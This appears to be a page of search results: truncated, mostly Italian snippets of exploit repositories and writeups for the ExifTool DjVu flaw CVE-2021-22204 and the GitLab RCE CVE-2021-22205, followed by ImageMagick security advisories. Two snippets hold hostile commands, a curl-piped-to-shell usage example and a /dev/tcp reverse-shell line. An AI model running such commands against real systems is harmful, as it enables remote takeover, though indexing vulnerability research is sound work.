485 matches found
CVE-2021-22204
CVE-2021-22204 Descrizione La neutralizzazione impropria dei dati utente nel formato file DjVu in ExifTool versioni 7.44 e successive consente l'esecuzione arbitraria di codice durante l'analisi delle immagini dannose. Script Collegamento script Utilizzo dello script: Comando di sistema:...
Gitlab-CVE-2021-22205
RCE non autenticata su Gitlab versione 13.10.3 Exploit RCE non autenticata per gitlab versione 13.10.3 Solo per scopi educativi/di ricerca. Usalo a tuo rischio Causa principale: Quando carica file immagine, Gitlab Workhorse passa qualsiasi file con le estensioni jpg|jpeg|tiff a ExifTool per...
CVE-2021-22205
CVE-2021-22205 - Esecuzione di codice in remoto non autenticata su GitLab CVE-2021-22205 è una vulnerabilità critica di Esecuzione di Codice in Remoto RCE che colpisce GitLab Community Edition CE e Enterprise Edition EE. La vulnerabilità ha origine da una validazione impropria dei file immagine...
CVE-2021-22205
CVE-2021-22205 Fork basato su mr-r3bot/Gitlab-CVE-2021-22205 Introduzione CVE-2021-22205: EXP per vulnerabilità di esecuzione di codice remoto non autorizzata in Gitlab Rimosse le dipendenze da djvumake e djvulibre, genera payload direttamente internamente, eseguibile su piattaforma Windows...
CVE-2021-22204
CVE-2021-22204 - Esecuzione di codice arbitrario in ExifTool Un exploit aggiornato per CVE-2021-22204, una vulnerabilità in ExifTool versioni 7.44 fino a 12.23 che consente l'esecuzione di codice arbitrario durante l'elaborazione di file DjVu dannosi. Descrizione La neutralizzazione impropria dei...
CVE-2021-22204
CVE-2021-22204 Resumo do CVE A sanitização inadequada dos dados do usuário no formato de arquivo DjVu no ExifTool versões 7.44 e superiores permite a execução arbitrária de código ao analisar a imagem maliciosa. Versões Afetadas Versão 7.44 - 12.23 Anomalias Dependências: djvulibre-bin exiftool...
CVE-2021-22204-Gitlab
Gitlab-Exiftool-RCE Repository originale : https://github.com/CsEnox/Gitlab-Exiftool-RCE Crediti a CsEnox. Exploit RCE per Gitlab 13.10.3 GitLab Workhorse passerà qualsiasi file a ExifTool. Il bug attuale si trova nel modulo DjVu di ExifTool. Chiunque abbia la possibilità di caricare un'immagine...
POC-CVE-2021-22204
POC-CVE-2021-22204 https://nvd.nist.gov/vuln/detail/CVE-2021-22204 Dies ist nur ein praktisches Skript, das ich zum Testen geschrieben habe. Ausgabe root@kitploit: Usage ./buildimage.pl Note: if your cmd contains unix special characters use quote! EG: ./buildimage.pl "curl xxxx.com/script.sh|sh"...
CVE-2021-22205-getshell
CVE-2021-22205-getshell CVE-2021-22205-getshell परीक्षण संस्करण शोषण उत्पन्न करने के लिए कमांड बनाएं root@kitploit: echo 'bash -i & /dev/tcp/192.168.147.5/4444 0&1' /tmp/1.sh chmod +x /tmp/1.sh /bin/bash /tmp/1.sh djvumake का उपयोग करके शोषण इमेज बनाएं root@kitploit: import os payloads= "echo 'ba...
DjVuLibre-poc-CVE-2025-53367
1- COS'È DJVU. DjVu pronunciato "déjà vu" è un insieme di tecnologie di compressione, un formato file, e una piattaforma software per la distribuzione sul Web di documenti digitali, documenti scansionati e immagini ad alta risoluzione. I documenti DjVu vengono scaricati e visualizzati molto...
CVE-2021-22205
CVE-2021-22205 Gitlab CE/EE पर exiftool के माध्यम से Preauth RCE CVE का सारांश GitLab, प्रत्येक tiff/jpeg/jpg फ़ाइल को स्कैन करने के लिए ExifTool का उपयोग करता है ताकि किसी भी ऐसे टैग को हटाया जा सके जो श्वेतसूचीबद्ध नहीं हैं। लेकिन क्योंकि ExifTool फ़ाइल प्रकार निर्धारित करने के लिए फ़ाइल...
CVE-2021-22204
Versione vulnerabile 7.44 12.23 Riproduzione root@kitploit: $ bash craftadjvuexploit.sh 'cal' $ ./exiftool delicate.jpg Screenshot Riferimento NVD-CVE-2021-22204...
exploit-CVE-2021-22204
Exploit per CVE-2021-22204 ExifTool - Esecuzione Arbitraria di Codice Ti piace questo repo? Dacci una ⭐! Solo per scopi educativi e di ricerca sulla sicurezza autorizzata. Autore dell'Exploit @UNICORDev di @NicPWNs e @Dev-Yeoj Descrizione della Vulnerabilità La mancata neutralizzazione dei dati...
CVE-2021-22204
CVE-2021-22204 - Exiftool Remote Code Execution Descrizione Recentemente, il ricercatore wcbowling ha trovato una vulnerabilità nello strumento Exiftool, che consentiva a un attore malintenzionato di effettuare un attacco di Remote Code Execution. Questa vulnerabilità è stata trovata nel programm...
dejavu
DejaVu Questo container esegue un'applicazione web che analizza le immagini e ne restituisce i metadati utilizzando exiftool. Gli utenti inviano all'applicazione l'URL di un'immagine e l'app la recupera, la analizza e restituisce i risultati. La versione di exiftool utilizzata dall'applicazione è...
Astra Linux – Vulnerability in imagemagick
ImageMagick is free and open-source software used for editing and manipulating digital images. Prior to versions 7.1.2-15 and 6.9.13-40, there was a heap buffer over-read vulnerability in the DJVU image format handler. This vulnerability occurred due to integer truncation during the calculation o...
Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS / 24.04 LTS : ImageMagick vulnerabilities (USN-8468-1)
The remote Ubuntu 14.04 LTS / 16.04 LTS / 18.04 LTS / 20.04 LTS / 22.04 LTS / 24.04 LTS host has packages installed that are affected by multiple vulnerabilities as referenced in the USN-8468-1 advisory. It was discovered that ImageMagick incorrectly handled certain images when using the...
USN-8468-1: ImageMagick vulnerabilities
It was discovered that ImageMagick incorrectly handled certain images when using the wavelet-denoise operator. An attacker could possibly use this issue to trigger a heap buffer over-read, resulting in information disclosure. This issue only affected Ubuntu 18.04 LTS, Ubuntu 20.04 LTS, Ubuntu 22....
USN-8468-1 imagemagick vulnerabilities
It was discovered that ImageMagick incorrectly handled certain images when using the wavelet-denoise operator. An attacker could possibly use this issue to trigger a heap buffer over-read, resulting in information disclosure. This issue only affected Ubuntu 18.04 LTS, Ubuntu 20.04 LTS, Ubuntu 22....
